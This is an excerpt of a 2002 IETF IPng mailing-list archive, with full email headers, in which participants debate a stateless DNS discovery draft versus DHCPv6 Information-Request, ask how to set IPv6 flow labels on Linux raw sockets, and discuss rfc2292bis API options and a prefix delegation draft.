scenario, will it make sense to ask internal IPv6 nodes to implement a minimal DHCPv6 client or will they rather like to use a pre-configured well known address in their /etc/resolv.conf file? - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 14 08:44:23 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3EFiNIA024225; Sun, 14 Apr 2002 08:44:23 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3EFiNnx024224; Sun, 14 Apr 2002 08:44:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3EFiKIA024217 for ; Sun, 14 Apr 2002 08:44:20 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA05985 for ; Sun, 14 Apr 2002 08:44:23 -0700 (PDT) Received: from web21301.mail.yahoo.com (web21301.mail.yahoo.com [216.136.173.212]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA21646 for ; Sun, 14 Apr 2002 09:44:22 -0600 (MDT) Message-ID: <20020414154422.93981.qmail@web21301.mail.yahoo.com> Received: from [144.16.64.4] by web21301.mail.yahoo.com via HTTP; Sun, 14 Apr 2002 08:44:22 PDT Date: Sun, 14 Apr 2002 08:44:22 -0700 (PDT) From: user user Subject: Flow label in IPv6 header. To: ipng@sunroof.eng.sun.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-2015834879-1018799062=:92572" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --0-2015834879-1018799062=:92572 Content-Type: text/plain; charset=us-ascii Hello, I am using Linux 2.4.2. I tried transferring some data over raw IPv6 sockets using sendmsg() and recvmsg(). Using ancillary data objects I was able to set the HOPLIMIT. But could not find any means of setting Flow label. I tried setting the flow label in the sockaddr_in6 structure which is pointed to by the msg_name field in the msghdr. This msghdr is one of the arguments to sendmsg(). At the receiving end too, I access this field from the same sockaddr_in6 structure returned by recvmsg(). Irrespective of the value set at the source, at the receiving end, I always get flow label value: 0. Can anyone please tell me how to set flow labels at the source and how to access them at the destination ? The rfcs dont provide much information on this. Thanks in advance. --------------------------------- Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax --0-2015834879-1018799062=:92572 Content-Type: text/html; charset=us-ascii

Hello,

I am using Linux 2.4.2.
I tried transferring some data over raw IPv6 sockets using sendmsg() and recvmsg(). Using ancillary data objects I was able to set the HOPLIMIT. But could not find any means of setting Flow label. I tried setting the flow label in the sockaddr_in6 structure which is pointed to by the msg_name field in the msghdr. This msghdr is one of the arguments to sendmsg().


At the receiving end too, I access this field from the same sockaddr_in6 structure returned by recvmsg(). Irrespective of the value set at the source, at the receiving end, I always get flow label value: 0.

Can anyone please tell me how to set flow labels at the source and how to access them at the destination ?  The rfcs dont provide much information on this.

Thanks in advance.



Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax --0-2015834879-1018799062=:92572-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 14 11:51:31 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3EIpUIA024544; Sun, 14 Apr 2002 11:51:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3EIpUAQ024543; Sun, 14 Apr 2002 11:51:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3EIpRIA024536 for ; Sun, 14 Apr 2002 11:51:27 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA25392 for ; Sun, 14 Apr 2002 11:51:30 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA25154 for ; Sun, 14 Apr 2002 12:51:29 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id B3F041C30 for ; Sun, 14 Apr 2002 14:51:28 -0400 (EDT) Date: Sun, 14 Apr 2002 14:51:28 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Reply-To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC21@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6AC21@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020414185128.B3F041C30@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Somewhat late reply, but the topic doesn't seem to have gotten much discussion. At Thu, 4 Apr 2002 17:36:39 +0200, Hesham Soliman wrote: > > During the last meeting a question was raised on whether the > scenarios for which the stateless DNS discovery draft can be used, > were clear to everyone. > > > I think that on a very high level we could basically say that this > draft is useful when a host desires to discover a DNS located in the > same site for the purpose of address resolution. > > Examples of where this can be useful: > > - Corporate networks > > - Cellular networks: 3GPP is one case where this > would be useful for all those who complain > about how small the devices are and that the > less code the better ;) > > - ISPs which host a DNS server for customers > connected via DSL for example. Of course in > this case they would have to define a site > accordingly. > > Any other scenarios ? I think there is a reasonable > case for this draft based on the scenarios > above. I still don't see the point of this mechanism in the first place. Any general implementation is going to need to support something that configure DNS when the special conditions needed for this mechanism don't apply, and the total size of the minimal DHCP client one would need to solve the general case (and the general NTP case, and the general XYZ-server case) just is not that big. There's a slight code size saving if one only considers DNS, but once one starts thinking about other services, the code size costs start tipping the other way, even in specialized cases such Hesham's 3GPP example. I am also concerned about the operational implications of either (a) needing two different mechanisms to configure DNS, one for the simple case, the other for the general case, or (b) reimplementing the entire general case for each protocol that needs configuration (DNS, NTP, ...) just to avoid (a). I think that Randy Bush pegged the basic issue back in Salt Lake City: there's a basic philosphical disagreement here between viewpoints, one of which holds that it's better to use a single generalized lightweight config mechanism for all services and the other of which holds that it's better to make each config mechanism independent. I think the single generalized protocol approach both is likely to scale better and is likely to require less protocol work and code space in the long run, particularly given that such a protocol already exists. Which brings me back to my original point: I don't understand why the IPv6 WG needs to reinvent the wheel here. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 14 17:58:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3F0wTIA024770; Sun, 14 Apr 2002 17:58:29 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3F0wTtO024769; Sun, 14 Apr 2002 17:58:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3F0wPIA024762 for ; Sun, 14 Apr 2002 17:58:25 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA15598 for ; Sun, 14 Apr 2002 17:58:28 -0700 (PDT) Received: from motgate2.mot.com (motgate2.mot.com [136.182.1.10]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA22657 for ; Sun, 14 Apr 2002 18:58:27 -0600 (MDT) Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate2.mot.com (motgate2 2.1) with ESMTP id RAA06549 for ; Sun, 14 Apr 2002 17:58:27 -0700 (MST)] Received: [from homer.arc.corp.mot.com (homer.arc.corp.mot.com [10.238.80.38]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id RAA15919 for ; Sun, 14 Apr 2002 17:58:24 -0700 (MST)] Received: from motorola.com (aidanw.arc.corp.mot.com [10.238.80.63]) by homer.arc.corp.mot.com (8.12.2/8.12.2) with ESMTP id g3F0wKjd007684 for ; Mon, 15 Apr 2002 10:58:22 +1000 (EST) Message-ID: <3CBA25AC.D77582F8@motorola.com> Date: Mon, 15 Apr 2002 10:58:20 +1000 From: Aidan Williams Reply-To: Aidan_Williams-A15677@email.mot.com Organization: aidan@arc.corp.mot.com X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft References: <4DA6EA82906FD511BE2F00508BCF053802C6AC21@Esealnt861.al.sw.ericsson.se> <20020414185128.B3F041C30@thrintun.hactrn.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Rob Austein wrote: > Which brings me back to my original point: I don't understand why the > IPv6 WG needs to reinvent the wheel here. Amen. - aidan -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 14 23:11:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3F6BdIA025440; Sun, 14 Apr 2002 23:11:39 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3F6Bcox025439; Sun, 14 Apr 2002 23:11:38 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3F6BYIA025432 for ; Sun, 14 Apr 2002 23:11:34 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA01496 for ; Sun, 14 Apr 2002 23:11:38 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA23926 for ; Mon, 15 Apr 2002 00:11:37 -0600 (MDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3F6BQo90863; Mon, 15 Apr 2002 15:11:26 +0900 (JST) Date: Mon, 15 Apr 2002 15:11:29 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: Erik Nordmark , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: <20020412064954.O17663@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 25 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 12 Apr 2002 23:08:06 +0900, >>>>> JINMEI Tatuya said: >> Beside this, i would just argue that psychologically i'd love to see >> the differentiation UNICAST/MULTICAST to show up in the API parameters >> explicitly to help developes think about the difference, but that's just >> cosmetic. I agree with you that just a _MULTICAST_ option like Eric sugested >> is a bit confusing, but i have no strong opinions here. The real advantage >> of NOT using IPV6_USE_MIN_MTU is to catch the hopefully small/non-existing >> number of applications who already think that the value 0 to it is the >> default and thus set it. > Then you seem to agree with my proposal (thanks). What about you, > Erik? If you're okay too, I'll soon update the draft according to > the proposal. Though I've not seen an explicit response, I guess we've reached a consensus. So my next question is, what should I do with this in terms of the standardization procedure? Should I submit a new draft and ask chairs a new wg last call? JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 01:59:48 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3F8xlIA025672; Mon, 15 Apr 2002 01:59:47 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3F8xkXJ025671; Mon, 15 Apr 2002 01:59:46 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3F8xhIA025664 for ; Mon, 15 Apr 2002 01:59:43 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00495 for ; Mon, 15 Apr 2002 01:59:46 -0700 (PDT) Received: from roam.psg.com ([61.193.166.83]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA01720 for ; Mon, 15 Apr 2002 02:59:45 -0600 (MDT) Received: from randy by roam.psg.com with local (Exim 4.00) id 16x2Ks-000DGx-00; Mon, 15 Apr 2002 17:59:42 +0900 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Rob Austein Cc: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft References: <4DA6EA82906FD511BE2F00508BCF053802C6AC21@Esealnt861.al.sw.ericsson.se> <20020414185128.B3F041C30@thrintun.hactrn.net> Message-Id: Date: Mon, 15 Apr 2002 17:59:42 +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I think that Randy Bush pegged the basic issue back in Salt Lake City: > there's a basic philosphical disagreement here between viewpoints, one > of which holds that it's better to use a single generalized > lightweight config mechanism for all services and the other of which > holds that it's better to make each config mechanism independent. credit where due department: i was paraphrasing erik nordmark but i certainly agree with it. and i am on the single, simple, general, motherhood, and mochi side. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 03:24:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FAOnIA025763; Mon, 15 Apr 2002 03:24:49 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3FAOnfw025762; Mon, 15 Apr 2002 03:24:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FAOjIA025755 for ; Mon, 15 Apr 2002 03:24:46 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19619 for ; Mon, 15 Apr 2002 03:24:48 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.48]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA03119 for ; Mon, 15 Apr 2002 04:24:47 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3FAOks7016972 for ; Mon, 15 Apr 2002 12:24:46 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 15 12:24:41 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 15 Apr 2002 12:14:14 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC61@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'ipng@sunroof.eng.sun.com'" Subject: RE: Stateless DNS discovery draft Date: Mon, 15 Apr 2002 12:24:36 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I still don't see the point of this mechanism in the first > place. Any > general implementation is going to need to support something that > configure DNS when the special conditions needed for this mechanism > don't apply, and the total size of the minimal DHCP client one would > need to solve the general case (and the general NTP case, and the > general XYZ-server case) just is not that big. There's a > slight code > size saving if one only considers DNS, but once one starts thinking > about other services, the code size costs start tipping the > other way, > even in specialized cases such Hesham's 3GPP example. => OK, but we still have two options in IPv6 for address autoconfiguration: Stateless and Stateful. I don't understand why we shouldn't allow the option for _real_ stateless autoconfig in IPv6. By 'real' I mean, we can't claim true stateless autoconfig when a crucial service like the DNS still requires a server. > I am also concerned about the operational implications of either > > (a) needing two different mechanisms to configure DNS, one for the > simple case, the other for the general case, or > > (b) reimplementing the entire general case for each protocol that > needs configuration (DNS, NTP, ...) just to avoid (a). > => So would you support a generic mechanism that does not require a third party server? I mean if the DNS discovery was not limited to the DNS, would that be a better approach? I'm just trying to understand if the argument is: a. Just use DHCP, we don't want anything else, or b. Let's not have a separate mechanism for each server. If a) then I disagree, there has been good steps taken towards stateless autoconfig in IPv6. I don't think we should mandate a server-based discovery all the time. If b) then I can understand. FWIW, we have deployment cases where this draft makes a lot of sense and there is no alternative to it. And it just happens that DNS is the one server that needs to be discovered. Maybe that's not a good enough justification for the draft, but I'm failing to see any concrete side effects that would result from using this extremely simple draft. Which is a usual problem with philosophical arguments. Not that I'm underestimating the value of philosophical arguments. Hesham > I think that Randy Bush pegged the basic issue back in Salt > Lake City: > there's a basic philosphical disagreement here between > viewpoints, one > of which holds that it's better to use a single generalized > lightweight config mechanism for all services and the other of which > holds that it's better to make each config mechanism independent. > > I think the single generalized protocol approach both is likely to > scale better and is likely to require less protocol work and code > space in the long run, particularly given that such a > protocol already > exists. > > Which brings me back to my original point: I don't > understand why the > IPv6 WG needs to reinvent the wheel here. > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 07:58:33 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FEwXIA026527; Mon, 15 Apr 2002 07:58:33 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3FEwXTP026526; Mon, 15 Apr 2002 07:58:33 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FEwUIA026519 for ; Mon, 15 Apr 2002 07:58:30 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA14705 for ; Mon, 15 Apr 2002 07:58:33 -0700 (PDT) Received: from marduk.litech.org (marduk.cs.cornell.edu [128.84.154.54]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA26879 for ; Mon, 15 Apr 2002 08:58:33 -0600 (MDT) Received: from lutchann by marduk.litech.org with local (Exim 3.22 #1) id 16x7w8-00015N-00 for ipng@sunroof.eng.sun.com; Mon, 15 Apr 2002 10:58:32 -0400 Date: Mon, 15 Apr 2002 10:58:32 -0400 From: Nathan Lutchansky To: ipng Subject: Prefix delegation discussion Message-ID: <20020415105832.B25477@litech.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="5I6of5zJg18YgZEa" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --5I6of5zJg18YgZEa Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I would like to apologize to the members of this working group for not having been available for the last month. I've been moving to upstate New York to take a job with the U.S. Air Force Research Lab, where I will have the opportunity to carry on my work with the IETF and the IPv6 and ngtrans working groups. Although I unfortunately was unable to attend the meeting in Minneapolis, Steve Deering presented my prefix delegation draft in my absence, and I owe my gratitude to him. Hopefully some progress was made in choosing a mechanism for prefix delegation. At this point, I'm no longer sure that a router advertisement option as=20 described in my draft would be the best mechanism. The latest APD draft=20 has resolved a number of problems I had with the protocol. If there is anybody who is a proponent of the technique described by draft-lutchann-ipv6-delegate-option who would like to assume authorship of the document, please contact me privately. I would prefer that the draft be maintained by somebody who feels more strongly about the issue than I=20 do. -Nathan --=20 +-------------------+---------------------+------------------------+ | Nathan Lutchansky | lutchann@litech.org | Lithium Technologies | +------------------------------------------------------------------+ | I dread success. To have succeeded is to have finished one's | | business on earth... I like a state of continual becoming, | | with a goal in front and not behind. - George Bernard Shaw | +------------------------------------------------------------------+ --5I6of5zJg18YgZEa Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8uuqYTviDkW8mhycRArFZAJ9bX7YMquvd5IergLPVdl2mnYpw9wCeLaE7 indygkGzun6/IlkLUADqoI0= =p+Ft -----END PGP SIGNATURE----- --5I6of5zJg18YgZEa-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 15 14:49:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FLnwIA027636; Mon, 15 Apr 2002 14:49:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3FLnwGu027635; Mon, 15 Apr 2002 14:49:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3FLntIA027628 for ; Mon, 15 Apr 2002 14:49:55 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA06845 for ; Mon, 15 Apr 2002 14:49:59 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA01641 for ; Mon, 15 Apr 2002 14:49:58 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id B139B1BFF for ; Mon, 15 Apr 2002 17:49:56 -0400 (EDT) Date: Mon, 15 Apr 2002 17:49:56 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Reply-To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC61@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6AC61@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020415214956.B139B1BFF@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Mon, 15 Apr 2002 12:24:36 +0200, Hesham Soliman wrote: > > OK, but we still have two options in IPv6 for address > autoconfiguration: Stateless and Stateful. I don't understand > why we shouldn't allow the option for _real_ stateless > autoconfig in IPv6. By 'real' I mean, we can't claim true > stateless autoconfig when a crucial service like the > DNS still requires a server. Ok, so let's take this a piece at a time, with the understanding that I'm not trying to pick on Hesham here. I recognize that Hesham is representing a point of view to which other members of the WG also subscribe. To paraphrase Tom Paxton, I'll try to be kind -- I expect to fail miserably, but I'll try. 1) What, precisely, does the term "stateless" mean in this context? It suggests a belief that all the existing mechanisms for telling a host where to find DNS servers are keeping state recording which server addresses they've reported to which hosts. That sure isn't the way that even "stateful" configuration (DHCPv4 with address leasing) works with the ISC DHCP server that's running on my network right now. The distinction between "stateless" and "stateful" configuration is meaningful for address configuration, and the IPv6 stateless address configuration mechanism is a good and useful thing. I do not, however, see how the distinction applies to DNS server discovery, and find attempts to use the term in this context to be more confusing than useful. 2) What, precisely, does "server" mean in this context? DNS server? DHCP server? What's a server, anyway? A node? A program running on a node? A well-known port to which one can send certain queries and from which one sometimes gets back useful answers? I submit that discussion on this topic to date has confused at least two of these definitions. I also submit that, since the discovery proposal we're discussing both uses a client/server protocol (DNS) to discover something and is in fact intended to discover a (DNS) server, the choice of terminology here is poor at best and (presumably accidently) obfuscatory at worst. I am also well aware that it is not just the IPv6 WG that has been chasing this weird idea of things walk like servers and quack like servers but are called something else. I disagree with the people chasing this idea in other WGs in those WGs, but there appear to be people chasing it here too, so I guess I need to disagree with it here too. To be clear (well, clearer): when I suggested using DHCP in order to locate DNS servers, I meant that entities that wish to locate an entity that functions in the server role of the DNS protocol when contacted at UDP port 53 might well do so by issuing DHCPv6 Information-Request messages and listening for relevant responses. For the cases where the proposal you're talking about works at all, the two are semantically equivilent except for details of well-known port number, packet encoding, and the set of tricks used to propagate the queries and responses across routers. > So would you support a generic mechanism that does not require a > third party server? I mean if the DNS discovery was not limited to > the DNS, would that be a better approach? I'm just trying to > understand if the argument is: > > a. Just use DHCP, we don't want anything else, or > b. Let's not have a separate mechanism for each > server. > > If a) then I disagree, there has been good steps taken towards > stateless autoconfig in IPv6. I don't think we should mandate a > server-based discovery all the time. If b) then I can understand. I'm suggesting both, but for different reasons, and in neither case am I suggesting that we should get rid of all forms of stateless autoconfig in IPv6. (b) is an architectural argument with a philosphical component. (a) is because the Information Request mechanism in DHCP already provides exactly the necessary service, and I still have not received any good answer as to why the IPv6 WG needs to reinvent this wheel. > FWIW, we have deployment cases where this draft makes > a lot of sense and there is no alternative to it. Given that the Information Request mechanism already exists in DHCPv6, and is substantially identical to the DHCPINFORM mechanism which has been part of the Draft Standard for DHCPv4 since 1997, I have a hard time believing your statement if I take it literally, so I suspect that you meant something else. > And it just happens that DNS is the one server that needs to be > discovered. As I've stated before, even if one were to assume for purposes of discussion that 